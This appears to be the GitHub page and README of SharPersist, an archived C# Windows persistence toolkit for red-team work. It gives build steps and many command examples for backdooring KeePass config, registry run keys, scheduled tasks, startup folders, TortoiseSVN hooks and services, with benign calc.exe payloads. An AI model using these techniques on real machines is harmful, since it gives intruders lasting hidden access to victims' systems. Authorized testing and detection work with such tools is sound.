Sign in

This repository has been archived by the owner on Oct 14, 2024. It is now read-only.

mandiant / SharPersist Public archive

Notifications | Fork 249 | Star 1.4k

Code | Issues 1 | Pull requests 2 | Actions | Projects | Wiki | Security | Insight

master | Go to file | Code

- SharPersist
- Brett Hawkins SharPe...
- CHANGELOG.txt
- LICENSE.txt
- README.md
- SharPersist.sln

README | Apache-2.0 license

SharPersist

Windows persistence toolkit written in C#. **For detailed usage information on each technique, see the [Wiki](https://github.com/mandiant/SharPersist/wiki).**

Author - Brett Hawkins (@h4wkst3r)

Release

About

No description, website, or topics provided.

- Readme
- Apache-2.0 license
- Activity
- Custom properties
- 1.4k stars
- 41 watching
- 249 forks

Report repository

Releases 2

v1.0.1 Release Latest
on Jan 5, 2020

+ 1 release

Packages

No packages published

Contributors 5

- Public version 1.0.1 of SharPersist can be found in the Releases section

Installation/Building

Pre-Compiled

- Use the pre-compiled binary in the Releases section

Building Yourself

Take the below steps to setup Visual Studio in order to compile the project yourself. This requires a couple of .NET libraries that can be installed from the NuGet package manager.

Libraries Used

The below 3rd party libraries are used in this project.

Library	URL
TaskScheduler	https://github.com/dahall/TaskScheduler
Fody	https://github.com/Fody/Fody

Steps to Build

- Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
- Go to "NuGet Package Manager" --> "Package Sources"
- Add a package source with the URL "https://api.nuget.org/v3/index.json"
- Install the Costura.Fody NuGet package. The older version of Costura.Fody (3.3.3) is needed, so that you do not need

Languages

● C# 100.0%

Visual Studio 2019.
    - `Install-Package Costura.Fody -Version 3.3.3`
- Install the TaskScheduler package
    - `Install-Package TaskScheduler -Version 2.8.11`
- You can now build the project yourself!

Arguments/Options

- **-t** - persistence technique
- **-c** - command to execute
- **-a** - arguments to command to execute (if applicable)
- **-f** - the file to create/modify
- **-k** - registry key to create/modify
- **-v** - registry value to create/modify
- **-n** - scheduled task name or service name
- **-m** - method (add, remove, check, list)
- **-o** - optional add-ons
- **-h** - help page

Persistence Techniques (-t)

- `keepass` - backdoor keepass config file
- `reg` - registry key addition/modification
- `schtaskbackdoor` - backdoor scheduled task by adding an additional action to it
- `startupfolder` - lnk file in startup folder
- `tortoisesvn` - tortoise svn hook script
- `service` - create new windows service
- `schtask` - create new scheduled task

Methods (-m)

- `add` - add persistence technique

- `remove` - remove persistence technique
- `check` - perform dry-run of persistence technique
- `list` - list current entries for persistence technique

Optional Add-Ons (-o)

- `env` - optional add-on for env variable obfuscation for registry
- `hourly` - optional add-on for schtask frequency
- `daily` - optional add-on for schtask frequency
- `logon` - optional add-on for schtask frequency

Registry Keys (-k)

- `hklmrun`
- `hklmrunonce`
- `hklmrunonceex`
- `hkcurun`
- `hkcurunonce`
- `logonscript`
- `stickynotes`
- `userinit`

Examples

Adding Persistence Triggers (Add)

KeePass

```
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
```

Registry

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
```

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
```

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```

Scheduled Task Backdoor

```
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
```

Startup Folder

```
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```

Tortoise SVN

```
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
```

Windows Service

```
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```

Scheduled Task

```
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
```

Removing Persistence Triggers (Remove)

KeePass

```
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
```

Registry

```
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
```

```
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
```

```
SharPersist -t reg -k "logonscript" -m remove
```

Scheduled Task Backdoor

```
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
```

Startup Folder

```
SharPersist -t startupfolder -f "Some File" -m remove
```

Tortoise SVN

```
SharPersist -t tortoisesvn -m remove
```

Windows Service

```
SharPersist -t service -n "Some Service" -m remove
```

Scheduled Task

```
SharPersist -t schtask -n "Some Task" -m remove
```

Perform Dry Run of Persistence Trigger (Check)

KeePass

```
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
```

Registry

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
```

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
```

```
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
```

Scheduled Task Backdoor

```
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
```

Startup Folder

```
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
```

Tortoise SVN

```
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
```

Windows Service

```
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
```

Scheduled Task

```
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
```

```
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
```

List Persistence Trigger Entries (List)

Registry

```
SharPersist -t reg -k "hkcurun" -m list
```

Scheduled Task Backdoor

```
SharPersist -t schtaskbackdoor -m list
```

```
SharPersist -t schtaskbackdoor -m list -n "Some Task"
```

```
SharPersist -t schtaskbackdoor -m list -o logon
```

Startup Folder

```
SharPersist -t startupfolder -m list
```

Windows Service

```
SharPersist -t service -m list
```

```
SharPersist -t service -m list -n "Some Service"
```

Scheduled Task

```
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
```

```
SharPersist -t schtask -m list -o logon
```